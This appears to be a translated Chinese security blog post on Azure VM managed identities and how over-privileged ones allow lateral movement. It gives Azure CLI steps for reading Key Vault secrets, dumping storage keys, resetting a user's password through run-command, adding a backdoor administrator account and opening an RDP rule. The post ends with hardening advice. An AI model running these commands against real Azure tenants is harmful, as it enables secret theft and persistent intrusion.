目录导航
这篇博文将详细介绍 Azure VM 中的托管身份。在这篇博文中,我们试图回答一些问题,这些问题来自托管身份是什么,人们为什么使用它们,以及我们是否可以滥用它们横向移动等等。这篇博文将重点关注托管身份的 Azure 虚拟机,但更多相关的博客文章很快就会出现。
什么是托管身份?
托管标识是一种特殊类型的服务主体,只能与 Azure 资源一起使用。它为应用程序提供了一个标识,以便在连接到支持 Azure AD 身份验证的资源时使用。托管身份可以帮助开发人员消除凭据,因为他们不再需要管理它。我们稍后将在本博文中详细介绍。
Microsoft 在本文档中提供了一个很好的用例。他们解释应用程序可能使用托管身份访问 Azure Key Vaults 的地方,开发人员可以使用它来存储凭据。提到的另一个示例是访问存储帐户。
假设我们希望 Azure VM 的托管标识访问 Azure Key Vault。我们唯一需要做的就是为其分配正确的 RBAC 角色,因此如果我们使用托管标识访问 Azure Key Vault。它将从实例元数据服务接收令牌以访问它。我们不必指定任何凭据,因为实例元数据服务会注意到附加到我们的 Azure VM 的托管标识。这是在 Azure VM 上运行的中央后端服务。
这里我们有一个关于实例元数据服务如何工作的高级架构。

托管身份的类型
有两种类型的托管身份,即系统分配的和用户分配的。除了一件事,没有太大的区别。为 Azure 资源启用系统分配的托管标识后,托管标识将自动分配,也将被删除。如果 Azure 资源已被删除。换句话说,系统分配的托管标识的生命周期与 Azure 资源的生命周期相关联。
用户分配的托管标识是手动创建的,也手动分配给 Azure 资源。生命周期与 Azure 资源无关,因此一旦资源被删除。将用户分配管理的身份将不会被删除。用户分配的托管标识可用于多个资源。
系统分配的托管身份
第一个示例将使用Azure 虚拟机的系统分配托管标识。
我们将在“演示”资源组中创建一个 Ubuntu VM,其中包括一个托管标识。由于我们在 CLI 中指定了–assign-identity参数,因此我们可以识别出正在启用托管标识。
我们还可以看到的另一件事是,我们已经指定了–generate-ssh-keys参数。这将生成公共和私人 SSH 密钥。
最后但并非最不重要的。我们已经指定了托管身份将获得的范围和角色。在此示例中,我们分配了系统分配的托管身份,即贡献者角色。
az vm create --resource-group Demo --size Standard_B2s --name LinuxVM --image UbuntuLTS --admin-username azureuser --generate-ssh-keys --assign-identity --location westeurope --scope "subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo" --role Contributor
在结果中,我们可以看到我们已成功创建了一个具有托管标识的新 Azure VM。

第二件事,我们要做的是在这个 VM 上配置一个扩展。这将允许我们进行软件安装等。我们这样做的原因是,因为我们想在 VM 上安装 Azure CLI。
az vm extension set --resource-group Demo --vm-name LinuxVM --name customscript --publisher Microsoft.Azure.Extensions

现在我们可以使用 SSH 连接到我们的 Azure VM。
ssh [email protected]

我们现在已登录到 Azure VM,并且还安装了扩展。这使我们现在可以下载 Azure CLI。
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

最后一步是使用 Azure CLI 作为托管标识登录。如您所见,我们不需要指定任何凭据。
az login --identity

用户分配的托管身份
如前所述,用户分配的托管标识可用于多个资源,因为生命周期不限于一个。为了使用用户分配的托管标识,我们必须先创建一个。
az identity create -g Demo -n myUserAssignedIdentity --location westEurope

现在我们将创建一个新的 Azure VM,但在此期间。我们将分配一个用户分配的托管标识。在这种情况下,这将是一个 Windows VM。在 CLI 中,我们已在–assigned-identity参数中指定分配用户分配的托管身份。
az vm create --name WindowsVM --resource-group Demo --image Win2019Datacenter --location westeurope --admin-username Testing --admin-password DontHackMeBro123! --size Standard_B2s --storage-account sturageacc0unt07 --use-unmanaged-disk --assign-identity /subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myUserAssignedIdentity

虚拟机已经创建,所以我们现在可以 RDP 到这台机器并安装 Azure CLI。
Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile .\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'
我们可能会遇到以下问题,这些问题很容易解决。如果我们没有分配正确的 RBAC 角色,则可能会发生此错误。

现在我们必须为我们的用户分配的托管身份分配一个 RBAC 角色。在此示例中,我们将分配贡献者角色。
az role assignment create --assignee 7055e551-2f6e-45a3-a64f-30941957fd88 --role Contributor --scope /subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo/providers/Microsoft.Compute/virtualMachines/WindowsVM
我们现在已将此托管身份分配给贡献者角色。

一旦我们现在登录到 Azure VM,我们就可以作为用户分配的托管标识登录。
az login --identity -u 7055e551-2f6e-45a3-a64f-30941957fd88

具有管理身份的横向运动
托管标识可用于访问 Azure Key Vaults 和存储帐户,我们在本博文开头讨论过。这是我在真实环境中看到的配置示例。请记住,只有在分配了正确的 RBAC 或目录角色后,才能访问这些资源。
注意:是的,在前面的部分中,我以贡献者角色为例。现在我将使用所有者角色作为示例。
我们有一个具有所有者权限的托管身份 (LinuxVM) 。此 RBAC 角色已分配给资源组本身,该角色将向下继承到同一组内的所有其他资源。

让我们假设我们已经破坏了这个 Linux VM,并决定通过 SSH 连接到这台机器。
ssh [email protected]

我们要做的第二件事是以托管身份登录。登录后,我们可以开始在云环境中的不同资源之间横向移动。
az login --identity

- Azure 密钥保管库
本节将介绍我们如何从受感染的 Linux 主机横向移动到 Azure Key Vault 并列出机密。
登录后,我们可以开始枚举 Azure Key Vault。这可以通过以下命令完成:
az keyvault list

我们发现了一个 Azure Key Vault,我们想列出这些秘密。为此,我们可以运行以下命令:
az keyvault secret list --vault-name mysecretkeyvault01
尽管我们拥有所有者权限,但我们收到一个错误,提示我们无权列出机密。

由于我们在 Resource 组上拥有 Owners 权限,这将继承同一组内的所有资源。我们可以修改 Azure Key Vault 的访问策略并授予自己权限。
az keyvault set-policy -n mysecretkeyvault01 --secret-permissions get list --object-id ae46b8fd-6070-49c1-be69-300c771a97f0

如果我们现在尝试列出 Azure Key Vault 的所有秘密。它现在可以工作了。
az keyvault secret list --vault-name mysecretkeyvault01

最后一步是从 Key Vault 获取机密。
az keyvault secret show --id https://mysecretkeyvault01.vault.azure.net/secrets/1753b4a6-9372-4c40-b395-74578b1dc3b0

- Azure 存储帐户
本节将介绍如何从受感染的 Linux 主机访问存储帐户。
Azure 存储帐户包含所有 Azure 存储数据对象:blob、文件共享、队列、表和磁盘。组织经常使用存储帐户来存储大量数据,这使得它就像 Key Vaults。一个有趣的目标。
我们要做的第一件事是侦听所有存储帐户。
az storage account list
结果,我们可以看到我们主要感兴趣的存储帐户。

我们要做的第二件事是查看所有访问密钥。获取存储帐户中的访问密钥可让您拥有对所有内容的完全访问权限。
az storage account keys list -g Demo -n newstorageaccount003

这允许我们连接到存储帐户,并且可以使用 Azure 存储资源管理器来完成。

- 横向移动到 Linux 机器
现在这是这篇博文中最相关的部分,因为我们将解释如何在同一资源组内从一台机器横向移动到另一台机器。
首先,我们需要枚举资源组中的所有 VM。
az vm list -g Demo --output table
在结果中,我们可以看到我们当前已登录到 LinuxVM 机器上。

第二件事,我们可以做的是安装一个 VM 扩展,允许我们在目标机器上安装软件。这不是必需的,但在我们的示例中,我们无论如何都会这样做。
az vm extension set --resource-group Demo --vm-name LinuxVM02 --name customscript --publisher Microsoft.Azure.Extensions

Azure 虚拟机具有称为“运行”命令的功能,它允许您以 SYSTEM 或 root 身份运行命令。我们现在将尝试横向移动 LinuxVM02 机器。
在此之前,我们将这样做。我们首先枚举目标机器上的所有用户。
az vm run-command invoke -g Demo -n LinuxVM02 --command-id RunShellScript --scripts "getent passwd | awk -F: '{ print $1}'"
结果,它将返回所有用户。这将包括普通用户和系统用户。一般一个普通用户的UID大于等于1000,仔细一看,有个叫testaccount的账号,有1000:1000。

下一个命令将枚举 testaccount 的组成员身份。
az vm run-command invoke -g Demo -n LinuxVM02 --command-id RunShellScript --scripts "groups testaccount"

现在我们要重置 testaccount 的密码,我们将使用它来连接远程机器。
az vm user update -u testaccount -p WeakPassw0rd! -n LinuxVM02 -g Demo

最后一部分是使用该帐户通过 SSH 登录到远程主机。
ssh [email protected]

最后一步是验证我们是否可以访问目标机器。
hostname

- 横向移动到 Windows 机器
我们现在正在从受感染的 Linux 机器横向移动到同一资源组中的 Windows 机器。在此示例中,我们要做的第一件事是枚举应用于该计算机的网络安全组。
az network nsg list --output table
结果,我们可以看到 NSG 规则应用于特定的 Azure 虚拟机。

我们可以看到在这个例子中 RDP 是打开的。但是,在大多数情况下。管理端口通常被禁止通过 Internet 访问它,但最好通过枚举 NSG 规则来验证这一点。

我们现在将像以前一样利用“运行”命令功能。此命令将枚举机器上的所有本地用户。
az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net user"
结果,它将返回机器上的所有本地用户。

在这一部分,我们将创建一个新的本地用户以在机器上保持持久性。
az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net user evilbackdoor Passw0rd! /add"

现在我们要将此用户添加到本地管理员组。
az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net localgroup Administrators evilbackdoor /add"

如果 RDP 已被关闭以免在 Internet 上公开,我们仍然可以创建 RDP 规则以允许传入连接到目标计算机。
az network nsg rule create -g Demo --nsg-name WindowsVMNSG -n OpenRDPForMePlease --source-address-prefixes 208.130.28.0/24 --access Allow --priority 1001 --destination-port-ranges 3389

问题是什么?
此问题的根本原因是由于委派不当。不建议订阅或资源组级别委派权限,因为权限将向下继承到同一组或订阅中的所有资源。特别是当敏感的 RBAC 角色被分配给所有者、贡献者、用户访问管理员等时。
这是一个糟糕的做法的例子。我们有一个托管身份,它基本上只是另一个服务主体。它对资源组具有所有者权限。这将允许此托管身份能够完全控制组中的所有资源。

导出 RBAC 角色
RBAC 角色控制谁对 Azure 资源具有何种访问权限和权限。我们将使用 Microsoft MVP (Morten Pedholt) 的 PowerShell 脚本并导出每个订阅的所有 RBAC 角色。订阅级别或资源组上的错误委派权限将继承资源,例如 VM。查看此类权限有助于识别错误的委派权限。
.\Export-RoleAssignments.ps1 -OutputPath C:\temp
#Parameters
Param (
[Parameter(Mandatory=$false)]
[string]$OutputPath = '',
[Parameter(Mandatory=$false)]
[Switch]$SelectCurrentSubscription
)
#Get Current Context
$CurrentContext = Get-AzContext
#Get Azure Subscriptions
if ($SelectCurrentSubscription) {
#Only selection current subscription
Write-Verbose "Only running for selected subscription $($CurrentContext.Subscription.Name)" -Verbose
$Subscriptions = Get-AzSubscription -SubscriptionId $CurrentContext.Subscription.Id -TenantId $CurrentContext.Tenant.Id
}else {
Write-Verbose "Running for all subscriptions in tenant" -Verbose
$Subscriptions = Get-AzSubscription -TenantId $CurrentContext.Tenant.Id
}
#Get Role roles in foreach loop
$report = @()
foreach ($Subscription in $Subscriptions) {
#Choose subscription
Write-Verbose "Changing to Subscription $($Subscription.Name)" -Verbose
$Context = Set-AzContext -TenantId $Subscription.TenantId -SubscriptionId $Subscription.Id -Force
$Name = $Subscription.Name
$TenantId = $Subscription.TenantId
$SubId = $Subscription.SubscriptionId
#Getting information about Role Assignments for choosen subscription
Write-Verbose "Getting information about Role Assignments..." -Verbose
$roles = Get-AzRoleAssignment | Select-Object RoleDefinitionName,DisplayName,SignInName,ObjectId,ObjectType,Scope,
@{name="TenantId";expression = {$TenantId}},@{name="SubscriptionName";expression = {$Name}},@{name="SubscriptionId";expression = {$SubId}}
foreach ($role in $roles){
#
$DisplayName = $role.DisplayName
$SignInName = $role.SignInName
$ObjectType = $role.ObjectType
$RoleDefinitionName = $role.RoleDefinitionName
$AssignmentScope = $role.Scope
$SubscriptionName = $Context.Subscription.Name
$SubscriptionID = $Context.Subscription.SubscriptionId
#Check for Custom Role
$CheckForCustomRole = Get-AzRoleDefinition -Name $RoleDefinitionName
$CustomRole = $CheckForCustomRole.IsCustom
#New PSObject
$obj = New-Object -TypeName PSObject
$obj | Add-Member -MemberType NoteProperty -Name SubscriptionName -value $SubscriptionName
$obj | Add-Member -MemberType NoteProperty -Name SubscriptionID -value $SubscriptionID
$obj | Add-Member -MemberType NoteProperty -Name DisplayName -Value $DisplayName
$obj | Add-Member -MemberType NoteProperty -Name SignInName -Value $SignInName
$obj | Add-Member -MemberType NoteProperty -Name ObjectType -value $ObjectType
$obj | Add-Member -MemberType NoteProperty -Name RoleDefinitionName -value $RoleDefinitionName
$obj | Add-Member -MemberType NoteProperty -Name CustomRole -value $CustomRole
$obj | Add-Member -MemberType NoteProperty -Name AssignmentScope -value $AssignmentScope
$Report += $obj
}
}
if ($OutputPath) {
#Export to CSV file
Write-Verbose "Exporting CSV file to $OutputPath" -Verbose
$Report | Export-Csv $OutputPath\RoleExport-$(Get-Date -Format "yyyy-MM-dd").csv
}else {
$Report
}
在示例结果中,我们可以看到在某个资源上分配了 RBAC 角色的所有不同用户。最好的做法是查看这些权限。
应仔细审查以下角色:
- 所有者
- 贡献者
- 用户访问管理员
- 虚拟机贡献者
- 虚拟机管理员
- Avere 贡献者

不要暴露 SSH 私钥
如果使用 Azure CLI 通过az vm create命令创建 VM,则可以选择使用–generate-ssh-keys选项生成 SSH 公钥和私钥文件。默认情况下,密钥文件存储在 ~/.ssh 目录中,允许您无需输入密码即可登录,而是使用 SSH 私钥。
然而,问题是。执行此操作后,它会将这些密钥文件存储在 .ssh 目录中。这意味着可以访问它的每个人都可以使用该 SSH 私钥连接到 Azure VM。

正如您在此处看到的,我们不必指定任何密码。因为我们已经有了 SSH 私钥。

最终建议
- 不要将管理端口暴露给互联网
- 尝试限制在 Azure 订阅或资源组级别分配权限
- 查看已使用 Export-Assignments.ps1 脚本委派的 RBAC 角色
- 使用 CLI 创建 Azure 虚拟机时要小心生成可选的 SSH 私钥
参考
- 什么是 Azure 资源的托管标识?:https : //docs.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview
- Azure 实例元数据服务 (Windows):https : //docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs= windows
- 导出所有 Azure 订阅的角色分配:https : //www.pedholtlab.com/export-role-assignments-for-all-azure-subscriptions/
转载请注明出处及链接